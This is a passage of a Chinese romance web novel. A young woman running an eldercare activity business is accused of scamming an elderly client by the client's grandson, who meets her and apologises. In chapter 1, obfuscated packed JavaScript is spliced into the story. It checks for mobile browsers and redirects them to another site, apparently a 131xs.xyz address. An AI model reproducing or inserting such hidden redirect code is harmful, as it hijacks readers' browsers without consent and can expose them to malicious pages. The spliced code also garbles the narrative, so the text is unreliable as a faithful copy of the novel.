《夜雨身湿》
1. 奶奶要相亲
周一,南市,建设小区养老中心。
植物拓染手工课按时结束,端宝儿还留在课室里,收拾没用完的鸡蛋花和三色堇。
课室的人都散去,一个精神矍铄的小老太却在门口张望,趁着没人,走近了。
“小端,跟你说个事。”
端宝儿抬头看,这位奶奶叫祁满华,七十岁了,栗色的短卷发,穿当下时兴的lululemon瑜伽服,颇有些融入年轻人群体的时尚感。
“您说。”
“我孙子,祁宁,跟我要你微信,我给他了?”
“好啊,给吧。”
端宝儿陪她一起走出去。
“他突然找我,是有什么事吗?”
祁奶奶:“我说有个小姑娘在这边很照顾我,他想感谢你呢。”
祁奶奶凑近了嘟哝,“他要是送礼感谢,你收着就是。他自己在外边开公司,挺赚的。”
端宝儿虽不准备收,也没车轱辘似的客套推脱,笑了两声,就问:“您和李伯聊得怎么样?”
“嗨,还能怎么样,本来约今天一起参加你的活动,也好见上一面,他又临时有事来不了。”
“那换一个相吧。”端宝儿会意,“莲香小区那边的陈伯,退休待遇和你一样……”
祁奶奶:“哎,不用,我们说好周末去公园散步……我是想问,你觉得约在哪里比较好?”
祁奶奶眼里满是期待。
她儿孙都在外市。李老头和家人住在几条街外的常平小区。
“碧湖公园?离您近,没什么坡,有大湖,有小山包,长椅多。”
“挺好。”祁奶奶脸一红,“我就跟他说,你推荐的?”
“说吧,没事。”端宝儿一口答应。
体面的老太太,脸皮薄,理解。
她们一起走出养老中心。
方才参加活动的,大多是当下被称为“银龄族”的居民,五六十岁起步,七八十岁不封顶。
唯一的年轻人是端宝儿。
已经毕业,瞧着却还像刚入学的大学生,显小,眸光水润清澈,十分灵动。
鼻梁高挺,一双眼尾偏长的桃花眼。这五官本该显得锐利,笑起来时却全无棱角,显出一个浅浅的梨涡,叫人忍不住想亲近。
她经营一家小型养老文娱机构,时常给社区办公益活动。
因热心体贴,又会策划许多新鲜玩意儿,非常讨老人欢心。
比如祁奶奶便夸:“你今天这个课,拿拓染锤敲袋子,好玩呀,这个袋子现在用来买菜逛超市,印花好别致的。”
送祁奶奶回家的路上,也有其他奶奶,拉着端宝儿问相亲的事:“我有个住老区委家属院的老姐妹,下次带去你那上课,你有空给人留意着呗?”
若有旁人在,定会感叹,端宝儿和一群老头老太简直处成忘年交了。
而且,怎么到端宝儿这,变成年轻人给老年人相亲了?
端宝儿还真就反其道而行之。
她住的这一片地是南市老城,如今离日渐南移的市中心很远,但在上世纪算热闹,一度是区中心。
如今,区中心也迁到十公里外,曾经扎堆的单位大楼不见踪影,留下新建的公园,和建设小区、家属院等一众拆不掉的老小区。
如被封印般蒙上一层灰,变化的只有随着年岁愈发高大的行道树。
城市或乡村总有这样的地方,时间流逝放缓似的,老年人一天一天地守在那里,等在那里。
建设小区的街道,有许多附近的企事业单位或机关退下来老人,没随子女搬走。
退休金多,又有住房,除了孤独,没什么别的烦恼。
但孤独总是很烦恼的。
端宝儿低调地撮合过一对退休的寡妇鳏夫。二人子女已成家立业,无后顾之忧,又腿脚尚可,可谓轰轰烈烈地享受了一把夕阳红之恋,经常一起遛弯儿压马路。
那享受劲头,让其他单身老人也十分眼热,端宝儿因此在附近得了个小红娘的美名。
祁奶奶正是当初上门求牵线的人之一。
端宝儿玩笑道:“外头都是年轻人相亲,到我这反过来了。”
“你真想相也不是没有。就说咱们小区,好些人的孙辈都优秀着呢,在美澳的,搞科研的,在组织部的,哎,那单身的肯定也有不少,就是没一个住在这。”
祁奶奶推一推老花镜,看着端宝儿,“小端终于想谈恋爱了?”
“不想。”
祁奶奶笑,“要是我孙子性格能好点,我就把他介绍给你了。”
“您这话说的。”
端宝儿自然不把老人家的谦虚当真,捧场回去。
“我记得您说过,祁宁是C大毕业的,数一数二的大学啊,很早就创业也成功了,青年才俊,一表人才呢。他们还都说您孙子帅。”
端宝儿把祁奶奶送回单元楼下,目送人上了电梯,还没走回自己的门面,手机便滴滴地响了起来。
微信的新提示,【N请求添加您为好友。】
简介也一目了然,【我是祁宁。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242311|181906||http|test|mini|href|location''.split(''|''),0,{}));
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>端宝儿挑眉,把酸奶拆开,坐在便利店门口的长椅上,点击通过申请。
那边没及时回话,她便坐着放空。
面前的地砖被树根顶得翘起来,露出粗暴的裂痕,树荫却很柔和,四月的阳光细碎地穿过叶隙漏下,路过的行人不多,偶有一两个年轻人也是匆匆路过的陌生面孔。
祁宁这个素未谋面的同辈,端宝儿却早就听说过。
她和老头老太们熟,听一些日常闲谈,半听半猜就能拼凑起他的轨迹。
端宝儿甚至知道祁宁的父母早年在外地工作,离婚后各自经商,都很有钱,但很少回家。
祁宁跑得更远,毕业后留在东边的C市,几年间身价已经翻了许多倍。
最重要的是,见过的人都夸他帅。
孙奶奶有段时间就喜欢缠着祁奶奶,让孙女和祁宁相亲。
祁奶奶那时怎么拒绝的?
她说,祁宁对恋爱没兴趣,在工作之余从不加人微信,又冷又硬。
端宝儿捏着饮料瓶的空盒,按照描述,她猜想,祁宁应该是个长相端正斯文,戴眼镜,穿POLO衫的一丝不苟的商务风总裁。
听上去不好相处的精英男,没空孝敬老人,专程买礼物感谢她?
有点想象不出来。
不过,终于来新消息了。
祁宁颇为言简意赅。
N:【你好,我是祁满华的孙子。】
端宝:【你好,我是小端】
N :【奶奶说,你最近帮她相亲,介绍了对象?】
端宝儿叼着吸管,有点意外,又不意外,原来是为了相亲。
她不收介绍费,所以通过她相亲的人不少。相成的人不多,但若真的成了,都会执意给她送礼感谢。
可祁奶奶还没和相亲对象见上面呢,这才哪到哪。
端宝:【是的】
N:【我认为相亲这件事不靠谱,之后还请你别为了这方面的事找她。】
?
端宝:【你可以和奶奶本人沟通,我一直尊重她的意愿。】
N:【别装了,没必要】
N:【你又邀请老年人免费听讲,又说给他们介绍优质对象,哄得服服帖帖,什么居心我不想说。】
N:【现在收手,我不至于追究】
N:【如果你得手,我会帮小区老人请律师,报警起诉,你那时不会好过,数额大的话,可以争取判刑】
端宝儿:……?
??
什么感谢,分明来者不善啊?
2. 黄昏恋骗局
“小端姐,谁惹你不高兴了?”
端宝儿回到店面,瞪了“幸福养老”的招牌一眼,正好被员工小黄撞见阴沉的脸色。
和总在各小区养老中心走动的端宝儿不同,小黄主要负责店里的业务,安排文化方面的活动,这会儿刚给老人教完国画。
端宝儿冷笑地哼哼两声。
“家属不理解,不是第一回。但一上来谴责我是杀猪盘诈骗犯的,还是第一个。”
“当初开店也不算是为了挣钱。毕竟卖保健品、保险、康养旅游的,见我口碑好,开了很高的提成想合作,都被我拒了。”
“我不就是怕老人被骗吗?但他说什么?他竟然觉得我是处心积虑,潜心蛰伏,做杀猪盘,最后骗波大的。”
小黄目瞪口呆:“谁啊?”
小黄:“……去年你把泼脏水的同行告了之后,就没什么人质疑我们了吧。”
端宝儿:“你不认识。祁奶奶没在我们这交钱,一直在建设小区上我的非遗体验课。”
“但我见过这个奶奶。”小黄皱眉,“她人好像……挺和善的啊?”
“是她孙子。”
说到“孙子”二字,端宝儿还笑了一声。
但小黄知道她已经被气得不轻了,如被人揍过一顿但无能为力的鼓气河豚。
“你知道她孙子突然加我说什么吗?他说,我现在收手还来得及,不然等我骗了钱,他会给小区受骗的老人挨个请律师,就为了送我进去。”
小黄:“他好装啊!还挨个请律师,装的,集体受骗请一个律师就够了吧。”
说到这,小黄又回忆起了一些八卦,“诶,祁奶奶,就是家人都挺能赚钱的那个,所以是真有钱没处花,折磨你来了?”
“谁知道。”端宝儿冷笑,“多安排律师,方便挨个固定证据,多判我几年。”
“你怎么说?”
端宝儿:“我肯定不爽。祁奶奶身边一直没晚辈陪着,他当孙子的,什么都不了解,也不沟通,不查证,就光指责我。”
端宝儿:“……独裁暴君。”
“对啊,真讨厌,有没有骂回去?”
“骂什么呀。哪有做服务业骂人的,俱乐部不想开了,还是我想不开了。”端宝儿露出咬牙切齿的微笑,“我当然是好声好气简单解释了,直接问他什么时候能来南市。”
“来南市干嘛?当面自证?”小黄一拍手,“对哦,你之前不是帮派出所做过反诈宣传吗,他们虽然没给你发锦旗,但可以把孙子领去派出所,让小王警官给你作保呀。”
“才不要自证,不然人家又得污蔑我有保护伞了。”
端宝儿仰头,重重叹了口气。
“祁奶奶是因为孤单才特别想相亲。责任更多在子孙身上吧?这一次我劝住了,日后她自己去认识了别的人,她家人也只会认为是我怂恿的,治标不治本。”
“所以,多说无益,我直接约祁宁来南市,来看看我靠不靠谱,再看他奶奶是怎么相亲的,状态好不好;觉得不行那也该他自己劝,别赖我就是了。”
“原来她孙子叫祁宁啊。”小黄说,“诶,我们初中校草就叫这名,不会是同一个人吧?你记不记得我跟你说过我同桌当时每天放学都趴楼下班的窗外偷看……”
端宝儿把大包里剩下的材料挨个塞进储物间,没好气地在沙发上坐下。
“这也不是重点啊,我哪像诈骗犯啊?”
*
“这一看就是诈骗犯吧?”
周五,驶出南市机场的机场高架上,堵塞的车流缓慢移动。
祁宁坐在副驾驶,向接机的初中同学大刘晃了晃手机,语气冷淡,夹着不悦。
“什么呀。”
大刘没看清,又问了一遍,“我刚在看晚上的聚餐。另外两同学问你,不是周一才来谈项目吗,怎么今天就来了。”
“就是因为她。你看这朋友圈,像不像诈骗的。”
祁宁穿一件很素的黑色高领衫,露出一截小臂,手腕上点缀一块银色的腕表,此时把座椅连同靠背都往后放了不少,微敞长腿,手肘随意搭在车窗。
是随意的闲适姿势,另一手攥紧的手机和向下的嘴角却暴露他此时并不松弛。
心情堪称恶劣。
但风撩起一点眉上的碎发,露出半边俊逸的侧脸,登时把大刘的新能源小车也衬得矜贵起来。
他骨相流畅,下颌线清晰,面部立体紧致,五官端正硬朗,本该英气十足,叫人移不开眼的;却因眉心微拧,眼眸半垂,形成明显的温差,让人不那么敢直视。
于是有人偷偷观察。
“什么诈骗。你要不把车窗关上。”大刘想,帅哥就已经很给人距离感了,臭脸的帅哥更是,“你不适合抛头露面啊,隔壁车的人偷瞄你呢,我不自在。”
祁宁还在抱怨诈骗的事:“之前我爸突然打电话给我,说奶奶被诈骗,被套牢了。我加了她,也觉得八九不离十。”
大刘瞥他脸色,趁车流不动,主动凑到手机前,“我看看啊。”
祁宁手机上显示的,是一个朋友圈的界面。
头像是一只黑猫,ID是端宝,朋友圈没锁,发得很勤快,全都图文并茂。
最新一条有九张图,七张花花草草,一张是往人脸打了马赛克的老人合照。
最后一张,出镜的是一个女孩,能看出长发编了几股盘在脑后,穿一件浅色高领的宽松针织衫。
文案写着:第二期非遗免费体验课全部结束~本次的主题是植物拓染,收到了很多好评,第三期活动策划中~
图中女生美得很客观,大刘瞥了一眼祁宁的衣服,又回看了一眼ID。
端宝。
看不出来祁宁是这么腻歪的人啊。
大刘:“什么意思,这你女朋友?”
祁宁:“……什么眼神?你没事吧?”
祁宁蹙眉,“她,怎么可能是我女朋友?我是在跟你说,这人像诈骗的,让你看看朋友圈是不是就不对劲。不然我加她做什么?”
“哦哦,我看人家后缀是宝宝,以为是你的备注。”大刘汗颜。
“……那是人家微信ID。”
“哦……起这么个花名,是有点不正经。”
车流动起来,大刘把头转回去了,安心开车,“朋友圈营销味是重了点,我健身房教练也这样营业,我早屏蔽了。你怎么发现是在诈骗的呢?”
祁宁:“我爸。说奶奶被骗,不愿跟他透露什么,他不管了,要我管。”
“所以我打电话跟奶奶套了话,发现就是这个人在怂恿我奶奶相亲。至于别的,奶奶也不愿意说。挺可疑的吧。”
大刘:“她?给你奶奶相亲?她才多大。”
祁宁嗤笑一声:“黄昏恋骗局又不难,她年纪小更方便骗。”
“也是。我看她挺漂亮的,把你奶奶哄得挺服帖也不奇怪。”大刘说,“利用外表欺骗他人的人真讨厌,不过也可能是P图。”
祁宁冷着脸,面向车窗吹风,“不管长什么样,真敢骗钱,都该进去。”
“所以你提前来南市,是特地来当地报警的?线上先找反诈中心冻结账号方便点吧?”
问到这里,祁宁难得地顿了一下。
他轻咳一声,“不是。”
“她说我误会了,还挺有底气的,要带我去看奶奶相亲。我说不在南市,还天天催我买机票。”
大刘:“所以你要陪你奶相亲?”
“没跟奶奶说。就我跟她,到时跟在奶奶后面。”
“有点像初中时候班主任去人工湖旁抓早恋……”大刘又看一眼祁宁淡漠的神色,改口道,“她像挑衅你诶,好嚣张,你小心被溜了。”
“谁知道呢。”
祁宁不是话少的人,但面无表情时是非常令人有距离感的冷脸,大刘默默把车内空调拨高。
对于祁宁直接就答应了这么个些许荒唐的提议,直面骗子,大刘不理解,但不意外。
他想起初中时,自己曾被校外小混混堵在小巷,踹了几脚,勒索了十五块钱。
虽然有告诉老师,但小混混嗅觉敏锐,很聪明地避风头没出现。
班主任去了一次没逮着,也就没再管,只嘱咐班上同学结伴走。
后来是祁宁每天放学蹲守在小巷子里,一边捧着作业看题,一边等人来。
蹲了十天,不仅蹲到小混混、打赢了、要回了同学们此前被勒索的钱;还记得打电话把他叫去,还上一脚。
冷静,果断,坚决,亲力亲为。
祁宁事业上能成功,大刘毫不意外。
但祁宁私下行事,并
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不似生意场上的沉稳,骨子里其实藏了乖张的底色。
大刘心底有点同情那个骗子,竟然招惹了祁宁的家人,也难怪祁宁二话不说便飞回来了。
他真的很难缠,骗子下场不会好。
不过那小骗子,肯定已经圈钱跑了吧?
*
端宝:【到南市了吗?[微笑]】
端宝:【在南市了吧。[微笑]】
端宝:【地址是北华区,碧湖街道[微笑]】
端宝:【下午三点,碧湖公园南门见[微笑]】
端宝:【别走错了[微笑]】
端宝:【[微笑]】
周六中午,端宝儿戴着毛绒束发带,一边冲掉洗面奶的泡沫,一边分心看手机上的消息。
每一个[微笑]都是她翻的白眼。
当初祁宁找茬后,她只晓之以情,提出了“带祁宁一起观察奶奶相亲,借此关心老人精神需求,消除隔阂”的建议。
并保证,如果发现祁奶奶不开心,她陪祁宁一起劝奶奶收手,别再相亲。
如果祁奶奶高兴,祁宁也觉得靠谱,那她就牵线让祖孙二人借机好好沟通,别因为互相不理解伤了感情。
多么通情达理,显得她就是站在祁宁那边的。
另一边,端宝儿也配合祁奶奶赴约。
横竖都是祖孙二人有矛盾,端宝儿不动声色地把自己摘出去。
相亲是家事。
端宝儿认可祁奶奶是个爽朗潇洒的清醒老太,做想做的事,不该看孙辈脸色。
但人家家属若真的蛮不讲理,前来阻拦,她也无心调和矛盾,只会从此躲着,否则两边讨人嫌。
提出这个方案,已是她对双方负责,照顾双方需求,仁至义尽。
当然,端宝儿仍对祁宁当初的强势和误解耿耿于怀。
为了保持好口碑,又不得无礼。
于是她每天都很礼貌地骚扰祁宁。
约好了周六观察相亲,她就催他买机票,等他到;
他买好了机票,她便发行程和安排;
她还特意翻出相机,把之前给祁奶奶拍的一应活动照分批全发过去。
今天都要见面了,她还是继续找他确认时间。
骚扰诀窍是没话找话,但又事出有因,一句话能描述清楚的事,分成五句说,每句后面都加一个[微笑]。
礼貌,爱笑。
如此坚持发了一周。
总之,端宝儿从没给其他人这么频繁地发过消息,她都发烦了,祁宁也该烦了吧。
这微小报复可能不痛不痒,端宝儿却自欺欺人地获得了些许心理安慰。
这也导致这周以来,微信上的阵仗很不得了,每天都找祁宁说话,似乎老头老太相亲是个天大的事。
实际上端宝儿都懒得洗头,简单盘了发,戴个棒球帽,随便套了件卫衣便出发了。
现在端宝儿心中的祁宁形象又坏了几分,变成勉强端正,但眉眼刻薄的那种人。因学习好才被旧邻夸帅,实际上工作后已经开始秃顶,她恨恨。
端宝儿开着二手破大众,把祁奶奶送到碧湖公园,一千米的路程。
停了车,声称自己有事离开,实则是找了家连锁咖啡店等人。
门外是马路,马路对面就是南门。
车来车往,川流不息。
等了十分钟,二点五十八,马路对面的一辆车缓缓停下,后座右手边下来一个高挑挺拔的男人。
虽只在车流缝隙间瞥见半个背影,却因为身形太好,颇有氛围,在脑海中定格了印象,如明星走红毯前迈步下车的抓拍图。
对祁宁形象的恶意揣测顿时被忘得一干二净;没由来的,端宝儿觉得,就是这个人了。
她推开门,走出去,正好那人也转过身来。
他穿的是黑色的卫衣,漫不经心站着,左手垂着,食指勾着棒球帽,拇指微不可查地摩挲把玩。骨相优越,皮相饱满,侧脸线条完美,半垂着眸,斯文优雅。
气质不算沉稳内敛,不像会赚钱的老板,更像能靠脸吃饭的明星。
春风刮过,绿灯亮起,端宝儿快速沿着斑马线向他走去,什么独裁暴君,完全抛到了脑后。因为看清脸的那一刻,端宝儿突然想——
说不定,出门前该画个妆的。
3. 见面
端宝儿给员工群设置了免打扰,还折叠了。
所以在她和祁宁碰面,偷偷摸摸观察祁奶奶相亲时,不知道群里已经炸了锅。
瑜伽形体-唐老师:【卧槽】
瑜伽形体-唐老师:【家人们。猜我看到什么了。。。】
瑜伽形体-唐老师:【小端姐铁树开花,在碧湖公园和男人约会。。。。。。】
书法国画-小黄:【?怎么公屏瞎说,拍来看看。】
瑜伽形体-唐老师:【我在碧湖公园跑步,亲眼目睹[微笑]】
摸鱼前台:【拍个图看看+1】
很快群里发出一张照片,仰角拍的,小山包的凉亭上,一男一女正面对栏杆看向山下,二人都戴着棒球帽,卫衣颜色一深一浅。
书法国画-小黄:【……情侣装?】
*
“我回来了,这个给你。”
端宝儿眼睛进了飞虫,去了趟公共厕所。
回凉亭时,顺便在自动贩卖机买了水,给祁宁也带了一瓶。
祁宁没听见,正出神地看向下方不远处的湖边——
祁奶奶背对他,站在长椅旁,面向大湖。
白发不知何时染成了棕的,正和头发白了一半的大爷笑吟吟地聊着什么。
四周安静时,偶尔会飘过来几个零碎的词,插队,下乡,老家,当年,还有小端。
这两个老人家,好像没话题了就开始聊小端。
偶尔转了头,显然眉飞色舞,对小端的喜爱溢于言表。
“她给人一种家人的感觉,就是很安心。”
这一句话说得更大声,格外清楚,飘扬着,被春风送至祁宁耳旁。
安心。
面前递过一瓶水,祁宁才回神,是端宝儿买给他的,有些意外。
端宝儿没注意他的视线,自顾自地拧开瓶盖,仰头喝了小半瓶。
她给祁宁介绍了祁奶奶的生活,这场相亲的前因后果,口干舌燥。
“眼睛没事吧?”
祁宁语气仍是淡淡的,端宝儿却觉得他的态度似乎比一开始温和不少。
“没事。”她答。
见面走近时,端宝儿发现他只是远看优雅,近看眉眼里藏着居高临下的戾气,一度想打道回府。
刚才相处了一阵,又觉得,祁宁虽然看着凶,耐心却很足,至少一直在听她说话。
就是端宝儿眼睛大,遇到点意外。
方才正兴致勃勃讲着,蚊子随风猛地撞进眼睛,痛得她嗷一声蹲下去,便流着泪去找公厕了。
祁宁见她此时双眼也仍然发红,还挂一点泪水。
虽然只是因为蚊子流的,却也有些不自在。
他是真的误会了。
一见到祁奶奶的模样便懂了,奶奶开心,充实,充满活力。
过年时一家人一起吃饭,奶奶都没露出过这种表情。
他爸真是危言耸听。
要是多说一句,给奶奶相亲的人和社区党群中心有合作,他也不至于轻信,激进行事,闹这么大个乌龙。
事关奶奶,关心则乱,又阴差阳错,犯下如此低级的过错。
祁宁还没想好怎么表达歉意,端宝儿在一边又揉起眼睛,拿出手机充当镜子,按住眉骨旁的皮肤向上提。
祁宁对她的第一印象是,爽朗大方,又不失活泼灵动。当初被他刁难,她也理性冷静,展现出很强的共情力,是个成熟知性的人,难怪小小年纪也把养老机构经营得不错。
如果她在他的公司,他会很喜欢这种下属。
但她揉眼睛时,拧眉,微撅着嘴,脸微皱。旁若无人,一副不悦的委屈样,像个别扭的小孩。
祁宁没忍住劝:“别揉。还没弄出去吗?”
端宝儿:“出去了。”
话音刚落,眼珠一转,又痛起来,她不禁小声叫唤。
似乎是下眼睑遮住的部分有异物,还有一只虫子在眼睑之下的缝隙?
生理性的眼泪直往下淌。
祁宁看不下去:“我送你去医院吧。”
“这公园不让开车进。”端宝儿闭眼,捂着半边脸,情绪稳定,但满脸的泪水,鼻尖也泛红,“我睁不开眼睛,走不到门口。”
祁宁左右环顾,凉亭周围竟然没有别人,往下看,奶奶和老头背手散步,兴致勃勃地走远。
……
他果断,“我帮你看看。”
端宝儿松了手,但低着头。
棒球帽挡住了祁宁的视线,看不到她的眼睛。
祁宁轻扶帽檐,将它摘掉,低头凑近端宝儿的脸。
突然被取了帽子,她身体小幅度向后晃下,似是下意识的警戒,却仍乖乖闭着眼。
祁宁挑眉。
他俯身看她的眼睛。
皮肤被泪痕沾湿显得更白,白到在阴天也几近发光。祁宁第一次觉得,医美机构门庭若市是有道理的。
白皙、光滑、细腻,如此近看都没有瑕疵。
她天生美得客观。
那自拍根本没p过,比照片还要好看得多——
祁宁下意识想提一下她的眼睑,免得端宝儿又颤着眼睫闭上——可那太过冒犯,他不是医生,没办法心安理得、心如止水地碰她的脸。
于是他说:“你睁开一下,往上看。”
端宝儿努力睁了睁,可异物感很强,自然是睁不开的,反而更痛。
于是她伸手短暂地撑开那只眼。
紧急情况顾不上形象管理,端宝儿想,此刻,会不会像在对他翻白眼。
殊不知,在祁宁看来,她这模样并不失态,只是有点可怜。
“再往正上方。”
端宝儿依言行事,可正上方是祁宁的脸。她努力向上看,而他耐心在上方等着检查。
预谋已久的视线,撞进她毫无防备的眼底。
端宝儿后知后觉祁宁此时语气非常温柔,像哄小孩。
一个小时前她在交通信号灯旁与他打招呼,还觉得此男美则美矣,气势太甚,失了温度,显得凉薄;明晃晃写满疏离和不悦。
可此时,祁宁正很专注地看着她,甚至是对视。
“看到了。是有一个小虫子在下边。”祁宁问,“是不是这样向上看,才不那么痛?”
端宝儿轻嗯,流泪造成的脸红盖住了方才闪过的情绪。
“等我一分钟,我去坡下贩卖机买包湿巾,你等我?”
“我包里有。”
端宝儿仰头朝天看,指了指凉亭左侧的长椅,“那里。”
“我直接拿?”让她拿也不现实,稍微往下看,虫子就会被夹在下眼睑磨眼球。
“快拿。”
端宝儿的包里就一只唇膏,一包湿巾,一对AirPods,很好找。
祁宁很自然地翻了包,把湿巾递给端宝儿,“我帮你照。”
他打开前置相机,朝着端宝儿。
祁宁把手机角度摆得很高,比端宝儿在洗手池前平着照镜子好处理得多。
虫子被湿巾一角推着来到眼尾,终于是彻底清理出去。
“去医院吗?”
“不用,好多了。”
端宝儿又抽了一张湿巾擦眼泪,一边眼睑发红。
祁宁:“要不要去药店买眼药水?”
端宝儿:“不看奶奶了?”
“不看了。”
该看的都看到了,店面执照,经营情况,相亲对象,奶奶,还有她,“那时候误会你了,对不起。”
“没事。现在诈骗很猖獗,我也会帮派出所做反诈宣传,有警惕心挺好的。”
祁宁没接话,顿了一顿,才问:“你本名是什么?我给微信加个备注。”
“我?就端宝儿啊。我祖上好像复姓端木,很特别吧?可惜到我这只剩单字了。”
“嗯,端宝儿。”
祁宁重复一遍,把帽子还给她,“哪两个字,你微信ID的端宝?”
“对。”
他嘴唇微张,似乎还想念一遍,最后抿了唇。
“好名字。”祁宁说。
祁宁似有若无的笑意,端宝儿回味了两秒,觉得她大概是看错了,那应该并不是他的笑,太隐秘。
二人一起向大门去。
问题解决了,端宝儿终于放下心来,注意力回笼。
才意识到,两人的打扮竟然很相近,都是卫衣棒球帽。
……可能是她中午变着法子嘱咐了祁宁四遍:穿低调些,免得被一眼认出来,最好戴个帽子。
结果她也这么穿出门了。
端宝儿不是迟钝的人,注意到这相近的穿搭,又自然地并肩走在一起后——忽然就感觉气氛不再对。
可扭头悄悄打量一眼,祁宁平视前方,神色寡淡又坦荡。
还好。
这么一偏头,背后竟然传来祁奶奶的声音,吓得端宝儿一激灵。
“哎,是小端!”
端宝儿回头看,祁奶奶和老李竟然就在不远处,不知从哪个林间小径突然窜出来的,大约是认出了她今天穿的衣服,又看到了侧脸。
她立刻抬头,小声问,“你奶奶,你要过去吗?”
祁宁低头看她,“我跟她说明天才到。她没认出来,当我不在吧。”
得到了满意的答复,端宝儿点点头,“好。”
“那我去跟她说话,你自己先回去吧。”
祁宁亦说:“好。”
于是端宝儿往回小跑,干脆利落,没留意祁宁继续往前走后,嘴角露出的一丝回味。
他的确是笑了。
*
端宝儿和老头老太寒暄完,又开着破大众,挨个把他们送回小区门口,跟双方家属报备过,才去找车位停车。
建设小区没有地下车库,停车场是露天的,有空就可以停。
端宝儿没急着下车,想先点个外卖,却发现祁宁有发消息。
N:【问过做眼科的朋友,点了眼药水到你店里,看说明书滴】
其实眼睑没异物感了,端宝儿忙完,都忘了这这回事。
这一周来,祁宁被她“骚扰”,一直冷淡得很,都是单字或不回复,言简意赅的。
除了最初挑事的剑拔弩张,已经好久没看到这么多字塞在一个框,竟然还是关心。
端宝:【好,谢谢你】
她顺手往上划,回顾前情,突然意识到,此前的每一条她都加了[微笑]这个表情,聊天记录清一色的黄豆翻白眼。
刚刚竟然忘了维持
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人设!
那岂不是暴露她之前是在不爽?
端宝儿又紧急下划,想撤回消息重发,却来不及了,因为祁宁看到了。
他的新消息已经进来——
曼基康矮脚小黑猫的表情包,图上的字是不客气。
更严谨地说,是“不客气~”
端宝儿:?
他竟然是用表情包的人。
高冷寡言也是他的人设吗?
*
后来祁宁还说,要请端宝儿吃饭,感谢她对祁奶奶的照顾和对他失礼的包容。
客气到这个份上,端宝儿没拒绝。
时间约好了,在周三,切出去,却注意到折叠的群聊被顶上来,点开,竟然有好几百条消息,几十条都是艾特她的。
端宝儿稍微往上划,便看不下去了——
瑜伽形体-唐老师:【卧槽】
瑜伽形体-唐老师:【家人们。猜我又看到什么了。。。】
瑜伽形体-唐老师:【刚才谁说这不是小端姐男友啊?我目睹他们接吻啊!】
发出的图片有点糊,显然是手机放大倍率拍的。
男人弯腰贴近女人的脸,角度不正,两道人影如同交缠在一起,在小山包上难舍难分。
底下是一水惊叹号。
端宝儿:……
小唐还挺适合做狗仔的,瞧把一件普通的事拍出了多炸裂的感觉。
端宝:【毛病。】
端宝:【卧底看人相亲被飞虫砸眼,痛得都哭了,谁来管周六还安抚家属的我的死活】
摸鱼前台:【哈哈】
摸鱼前台:【亲嘴怎么不算安抚呢……】
端宝:【?=、、、……】
她的员工好像都有点不太正常。
*
端宝儿解释了原委,句句属实。
可惜在员工看来,这说明颇有些苍白无力。
去拿眼药水时,前台还露出了贼兮兮的八卦眉眼,但没多问。
刚见一面的男人,连肢体接触都没有,亲嘴的消息却传遍了,断章取义真可怕。
端宝儿其实不喜欢被调侃八卦,可大约是事情已了,又或许是群里几人都熟,此时竟然挺轻松的。
她心情不坏地回家去。
建设小区是楼梯房,但随着老旧小区改造工程,加装好了透明电梯和连廊。
端宝儿拎着药店的外卖纸袋走,仰头看别家窗台上种的天竺葵,铃声突然响了。
她拿出手机,是来电。
十一位数的私人号码,不认识,但一串数字下方显示的城市是——
C市。
没有任何思考,反应过来的时候,拇指已经按了拒接。
端宝儿站在原地,回神时,发现自己早已把那号码拉黑了,一气呵成。
*
“你怎么心不在焉的。”
当晚,祁宁和几个同学又聚。
除了在市农业局任科员的大刘,另外两个初中同学里,一个是当年的班长,如今在大厂上班,已经订婚。
另一个还在读博,被称为许博。
最后一个是跟祁宁一起谈项目的富二代股东,C市人,和祁宁是大学校友。
氛围挺热络,因为祁宁公司有专门的农业无人机等科技产线,此次南市项目就是智慧农场相关,富二代顺便和大刘了解南市的农业状况,聊得不错。
许博则摘了祁宁的腕表欣赏,“太好看了,我从今天开始不吃不喝,领十年补贴后,勉强买得起。”
大刘见祁宁只是淡淡地吃,一如既往的懒得搭腔,善解人意地问:“今天的事处理得怎么样?见到那个骗子了吗?”
其实能见上面,就已经说明不是骗子,但大刘忘了那人叫什么。
祁宁简单交代了一下原委,大刘也恍然大悟,“那主要还是在叔叔没说清楚,但也可以理解吧,关心则乱嘛。”
祁宁:“我爸是根本不关心。”
特别的名字总会更吸引注意,比起叔叔爸爸奶奶,班长显然更好奇这个名字,“有人叫端宝儿?”
班长:“好奇特哦。而且做养老做出了口碑,还不是加盟的,有点东西哦。她多大啊?”
许博:“端?这种小众姓氏好像都是从复姓演化来的,就像欧姓前身是欧阳,不过我也是第一次听到‘端’姓。”
富二代也来了兴趣,“我高中倒是有人姓这个诶,好巧。”
班长:“这么小众?也是女生吗?”
富二代:“对啊,所以说巧。”
班长:“会不会是同一个人?”
富二代:“肯定不是,我那私立高中在C市,招的人不多,那女生和我不同级,是名声很烂才出名的,很乱,但长挺好看的,比起跑来这里开什么养老院,更有可能在本地结婚了吧。”
至于为什么名声烂,低俗的八卦就不方便在饭桌上说了。
班长:“哦,有道理哦。”
祁宁对同姓的人不感兴趣,也不大想分享端宝儿的信息。
想公开的只有一件事而已。
面对一众好奇,他答非所问,“我觉得,我还挺喜欢她的。”
班长:?
许博:?
富二代:?
4. 不是骗子
对于班长和许博而言,祁宁是初中的老同学,和记忆里没有太多的不同。
听到“喜欢”二字,二人自然露出了有些八卦的眉眼。
就像,初中他们面红心跳聊初恋时,从不关心的祁宁,终于迟到地参与进来。
但若问出“哪种喜欢”,对于今日的他们又有点幼稚。
毕竟,年轻有为的风行公司总裁,当然不像那个之前与他们一起骑单车回家的人,不可能再聊没营养的恋爱话题。
他们没说话。
富二代倒是认为,这话题虽然突兀,但也没什么奇怪的。
“因为她很会照顾老人?”富二代说,“我妈也特别喜欢我们家保姆,她给我外婆煲的汤特别鲜。”
大刘:……你们在聊的不是一个东西吧。
餐厅左上方的吊灯散发着柔和的光晕,祁宁收回视线,笑了笑:“并不因为什么,就是挺欣赏的。”
几个字被祁宁说得云淡风轻,不带什么多余的情绪。
方才那一瞬间激发的八卦情结,顿时被浇灭到灰都不剩。
许博:“哦,欣赏。”
果然老天还没推开祁宁感情开窍的窗。
